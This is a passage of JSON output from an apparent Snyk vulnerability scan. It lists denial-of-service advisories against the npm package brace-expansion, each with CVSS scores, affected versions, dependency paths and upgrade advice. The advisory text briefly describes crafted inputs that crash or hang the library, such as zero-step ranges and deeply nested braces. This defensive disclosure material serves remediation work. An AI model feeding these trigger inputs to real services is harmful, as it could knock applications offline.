"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
